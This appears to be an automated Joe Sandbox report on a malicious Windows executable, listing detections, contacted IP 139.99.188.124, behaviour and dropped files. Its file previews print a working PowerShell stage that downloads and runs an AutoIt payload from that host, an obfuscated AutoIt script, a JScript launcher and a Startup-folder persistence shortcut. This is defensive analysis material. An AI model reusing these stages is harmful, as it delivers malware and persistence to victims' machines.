Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577202 Sample: l5VhEpwzJy.exe Startdate: 18/12/2024 Architecture: WINDOWS Score: 100 50 nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs 2->50 54 Icon mismatch, binary includes an icon from a different legit application in order to fool users 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 Sigma detected: Drops script at startup location 2->58 60 9 other signatures 2->60 10 l5VhEpwzJy.exe 1 2->10         started        14 wscript.exe 1 1 2->14         started        signatures3 process4 file5 48 C:\Users\Public\PublicProfile.ps1, ASCII 10->48 dropped 68 Suspicious powershell command line found 10->68 70 Binary is likely a compiled AutoIt script file 10->70 72 Bypasses PowerShell execution policy 10->72 16 powershell.exe 17 10->16         started        19 powershell.exe 14 16 10->19         started        74 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->74 23 SwiftWrite.pif 14->23         started        signatures6 process7 dnsIp8 38 C:\Users\Public\Secure.au3, Unicode 16->38 dropped 25 Guard.exe 4 16->25         started        29 conhost.exe 16->29         started        52 139.99.188.124, 49705, 49716, 80 OVHFR Canada 19->52 40 C:\Users\Publicbehaviorgraphuard.exe, PE32 19->40 dropped 62 Drops PE files to the user root directory 19->62 64 Powershell drops PE file 19->64 31 conhost.exe 19->31         started        file9 signatures10 process11 file12 44 C:\Users\user\AppData\...\SwiftWrite.pif, PE32 25->44 dropped 46 C:\Users\user\AppData\Local\...\SwiftWrite.js, ASCII 25->46 dropped 66 Drops PE files with a suspicious file extension 25->66 33 cmd.exe 2 25->33         started        signatures13 process14 file15 42 C:\Users\user\AppData\...\SwiftWrite.url, MS 33->42 dropped 36 conhost.exe 33->36         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
l5VhEpwzJy.exe36%VirustotalBrowse
l5VhEpwzJy.exe58%ReversingLabsWin64.Adware.RedCap

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\Public\Guard.exe8%ReversingLabs
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif8%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://139.99.188.124/TnVDiK0%Avira URL Cloudsafe
http://139.99.188.124/jiJNz.txt0%Avira URL Cloudsafe
http://139.99.H20%Avira URL Cloudsafe
http://139.99.188.124/TnVDiK.w0%Avira URL Cloudsafe
http://139.99.188.1240%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
unknown
unknownfalse
    		unknown

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://139.99.188.124/jiJNz.txttrue
    • Avira URL Cloud: safe
    		unknown
    http://139.99.188.124/TnVDiKtrue
    • Avira URL Cloud: safe
    		unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://www.autoitscript.com/autoit3/JGuard.exe, 00000007.00000000.1434982330.00000000006C9000.00000002.00000001.01000000.00000007.sdmp, Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000C.00000000.1602100943.0000000000159000.00000002.00000001.01000000.0000000A.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drfalse
      		high
      http://139.99.H2powershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmpfalse
      • Avira URL Cloud: safe
      		unknown
      http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.1461148099.000001D3E2AC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpfalse
        		high
        http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            http://139.99.188.124powershell.exe, 00000005.00000002.1436744957.000001D3D2C77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmptrue
            • Avira URL Cloud: safe
            		unknown
            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://go.micropowershell.exe, 00000005.00000002.1436744957.000001D3D3B97000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://contoso.com/powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.1461148099.000001D3E2AC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://contoso.com/Licensepowershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://contoso.com/Iconpowershell.exe, 00000005.00000002.1436744957.000001D3D4440000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        https://oneget.orgXpowershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://139.99.188.124/TnVDiK.wl5VhEpwzJy.exe, 00000001.00000002.1383303936.000002631AE20000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://aka.ms/pscore68powershell.exe, 00000005.00000002.1436744957.000001D3D2A51000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://www.autoitscript.com/autoit3/Guard.exe, 00000007.00000003.1460484447.0000000004DAA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000007.00000002.2555604381.0000000003F95000.00000004.00000020.00020000.00000000.sdmp, Guard.exe.2.dr, SwiftWrite.pif.7.drfalse
                              		high
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000005.00000002.1436744957.000001D3D2A51000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://github.com/Pester/Pesterpowershell.exe, 00000005.00000002.1436744957.000001D3D42CC000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://oneget.orgpowershell.exe, 00000005.00000002.1436744957.000001D3D40A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    139.99.188.124
                                    		unknownCanada
                                    		16276OVHFRtrue

                                    General Information

                                    Joe Sandbox version:41.0.0 Charoite
                                    Analysis ID:1577202
                                    Start date and time:2024-12-18 09:18:17 +01:00
                                    Joe Sandbox product:CloudBasic
                                    Overall analysis duration:0h 8m 11s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                    Number of analysed new started processes analysed:16
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample name:l5VhEpwzJy.exe
                                    renamed because original name is a hash value
                                    Original Sample Name:2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727.exe
                                    Detection:MAL
                                    Classification:mal100.expl.evad.winEXE@15/12@2/1
                                    EGA Information:
                                    • Successful, ratio: 75%
                                    HCA Information:
                                    • Successful, ratio: 99%
                                    • Number of executed functions: 47
                                    • Number of non-executed functions: 236
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe

                                    Warnings

                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                    • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
                                    • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                    • Execution Graph export aborted for target powershell.exe, PID 7756 because it is empty
                                    • Not all processes where analyzed, report is missing behavior information
                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    03:19:23API Interceptor81x Sleep call for process: powershell.exe modified
                                    04:53:52API Interceptor2700x Sleep call for process: Guard.exe modified
                                    04:54:11API Interceptor1564x Sleep call for process: SwiftWrite.pif modified
                                    10:53:20AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    139.99.188.124duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/QWCheljD.txt
                                    pt8GJiNZDT.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/QWCheljD.txt
                                    FwR7as4xUq.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/EPDjSfs.txt

                                    Domains

                                    ⊘No context

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    OVHFRduyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124
                                    pt8GJiNZDT.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124
                                    x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                    • 54.36.60.244
                                    jew.sh4.elfGet hashmaliciousUnknownBrowse
                                    • 51.75.58.223
                                    https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPyGet hashmaliciousHTMLPhisherBrowse
                                    • 167.114.27.228
                                    c2.exeGet hashmaliciousXmrigBrowse
                                    • 51.79.145.144
                                    Clienter.dll.dllGet hashmaliciousUnknownBrowse
                                    • 51.77.90.246
                                    uEhN67huiV.dllGet hashmaliciousUnknownBrowse
                                    • 54.36.205.38
                                    https://alluc.co/watch-movies/passengers.htmlGet hashmaliciousUnknownBrowse
                                    • 54.38.113.6
                                    Clienter.dll.dllGet hashmaliciousUnknownBrowse
                                    • 94.23.76.52

                                    JA3 Fingerprints

                                    ⊘No context

                                    Dropped Files

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    C:\Users\Public\Guard.exeduyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                      pt8GJiNZDT.exeGet hashmaliciousUnknownBrowse
                                        c2.htaGet hashmaliciousXWormBrowse
                                          c2.htaGet hashmaliciousXWormBrowse
                                            c2.htaGet hashmaliciousXWormBrowse
                                              c2.htaGet hashmaliciousXWormBrowse
                                                FwR7as4xUq.exeGet hashmaliciousUnknownBrowse
                                                  InsertSr.exeGet hashmaliciousGO BackdoorBrowse
                                                    vqMMwqCFZQ.exeGet hashmaliciousUnknownBrowse
                                                      fT0L8msd6q.exeGet hashmaliciousUnknownBrowse

                                                        Created / dropped Files

                                                        C:\Users\Public\Guard.exe

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):893608
                                                        Entropy (8bit):6.62028134425878
                                                        Encrypted:false
                                                        SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                        MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                        SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                        SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                        SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 8%
                                                        Joe Sandbox View:
                                                        • Filename: duyba.lnk.download.lnk, Detection: malicious, Browse
                                                        • Filename: pt8GJiNZDT.exe, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: FwR7as4xUq.exe, Detection: malicious, Browse
                                                        • Filename: InsertSr.exe, Detection: malicious, Browse
                                                        • Filename: vqMMwqCFZQ.exe, Detection: malicious, Browse
                                                        • Filename: fT0L8msd6q.exe, Detection: malicious, Browse
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                        C:\Users\Public\PublicProfile.ps1

                                                        Download File
                                                        Process:C:\Users\user\Desktop\l5VhEpwzJy.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):483
                                                        Entropy (8bit):5.269543492797763
                                                        Encrypted:false
                                                        SSDEEP:12:f73/oKFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/pCknZ9LzjYnRSb8Cba
                                                        MD5:4D89D546430E29FD73C83328C2AA602F
                                                        SHA1:478DBE122AE6DFA67D99400E2345DDD971E7AF1A
                                                        SHA-256:577BAB6C6B9363BBE90E9DB05391FECA8501E16980BF4A25BE2C3412100D88FC
                                                        SHA-512:4FD367369B6BEC884851088039C668B66C60CA6F9ACFDD1A6FB2E4C8385B3E84DE95AA0313695266875E128B86B349F60B5598AF3CF601D5A5B04339526674DD
                                                        Malicious:true
                                                        Preview:[string]$fU5L = "http://139.99.188.124/jiJNz.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

                                                        C:\Users\Public\Secure.au3

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
                                                        Category:dropped
                                                        Size (bytes):1241207
                                                        Entropy (8bit):5.143965937869899
                                                        Encrypted:false
                                                        SSDEEP:12288:28V+jcfSd/gbKXtBDp0HD2YWI6/CDMiFoFvvf9hC5t7iJId:qcohYWI6qDwVqX7j
                                                        MD5:CF86D3B8502A5E0DE26A2B3BF1B0E213
                                                        SHA1:760AE38B57DFCC9109BD8E4AE4CC304E2B2D0BE3
                                                        SHA-256:15376C4E199C07DA1A90259ECBF068FC77A89C38E2AD332EEADCEE6B83C2E2DB
                                                        SHA-512:3D0A4FE4258763307AAE1485F7AB81C2B1E26527BBE4327E30701C27FF5E06C71572335D744A4A2E5386D1BA9743BF827D061E17052722EB055CB09F0772CCEA
                                                        Malicious:true
                                                        Preview:.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):64
                                                        Entropy (8bit):0.34726597513537405
                                                        Encrypted:false
                                                        SSDEEP:3:Nlll:Nll
                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                        Malicious:false
                                                        Preview:@...e...........................................................

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ih3j0by.v44.ps1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpvodpn0.3ye.psm1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nbx3emrv.nkf.psm1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzsqqusl.csy.ps1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\G

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:ASCII text, with very long lines (1266)
                                                        Category:dropped
                                                        Size (bytes):1241204
                                                        Entropy (8bit):5.14392595562766
                                                        Encrypted:false
                                                        SSDEEP:12288:D8V+jcfSd/gbKXtBDp0HD2YWI6/CDMiFoFvvf9hC5t7iJId:DcohYWI6qDwVqX7j
                                                        MD5:A5A6FF7A73B50FAEEDFD9D918473C28D
                                                        SHA1:6404B319F0C1B8FBAED389DA2470AD12FBCC3230
                                                        SHA-256:668A9D10C2DDDF41FC44654A299DDBA9677128F63B1803B4D16413646F0115F7
                                                        SHA-512:4DC6259A413B2FA67DDC1461BB50D6C7DC8BFD2F7FA8D2D4DC6C7EB05337DEBF9595DBD081255BEFB50ED804BDFAA7509D4343607B2546FB80AA7EC4B8F4B4B7
                                                        Malicious:false
                                                        Preview:Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):192
                                                        Entropy (8bit):4.775086341816013
                                                        Encrypted:false
                                                        SSDEEP:3:RiMIpGXfeNH5E5wWAX+d4a+kEkD5yKXW/Zi+0/RaMl85uWAX+d4a+kEkD5yKXW/f:RiJbNHCwWD+vkDrXW/Zz0tl8wWD+vkDO
                                                        MD5:2BAB60AF26AA89CB37A2AABAC6162E25
                                                        SHA1:3D2DD35E294E4B76D2DDAA538076E29653255058
                                                        SHA-256:B6D42CD62ACDA7113CBE171A52618CE71EB5CB3B6A255F84C346A145B22CE298
                                                        SHA-512:3E29CFAC858B8659107EBD256403126487C5CDDF2DD9FF5BB0C5479281FFFA7983BB84369FC9FE9F1F5EF5DD4C4515DA271456D6DEC19034D9878859B8A3E63C
                                                        Malicious:true
                                                        Preview:new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):893608
                                                        Entropy (8bit):6.62028134425878
                                                        Encrypted:false
                                                        SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                        MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                        SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                        SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                        SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 8%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                        File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):102
                                                        Entropy (8bit):4.939404205005729
                                                        Encrypted:false
                                                        SSDEEP:3:HRAbABGQaFyw3pYo0nacwRE2J5yKXW/Zi+URAAy:HRYF5yjocNwi23yKXW/Zzyy
                                                        MD5:A7D40A7BA6D8F0A99F90068D484E33C6
                                                        SHA1:FFF7A3AE229FD5FA0E1F8798D3830362F9EAB7F2
                                                        SHA-256:D29502D994513542511C29BBC2356913745C26FE6270055DBAFC5CC98D86F123
                                                        SHA-512:D1CAE20F0B0F9E39F9CEBAE7A170485440E5D9B3B035A80D9A5F04F76C395ECB5A9625AE4E36CAC6763D75C94181F3EF166D687F3D00270545248A7CC8CC2FE4
                                                        Malicious:true
                                                        Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

                                                        Static File Info

                                                        General

                                                        File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                        Entropy (8bit):6.306461386999494
                                                        TrID:
                                                        • Win64 Executable GUI (202006/5) 92.65%
                                                        • Win64 Executable (generic) (12005/4) 5.51%
                                                        • Generic Win/DOS Executable (2004/3) 0.92%
                                                        • DOS Executable Generic (2002/1) 0.92%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:l5VhEpwzJy.exe
                                                        File size:1'083'904 bytes
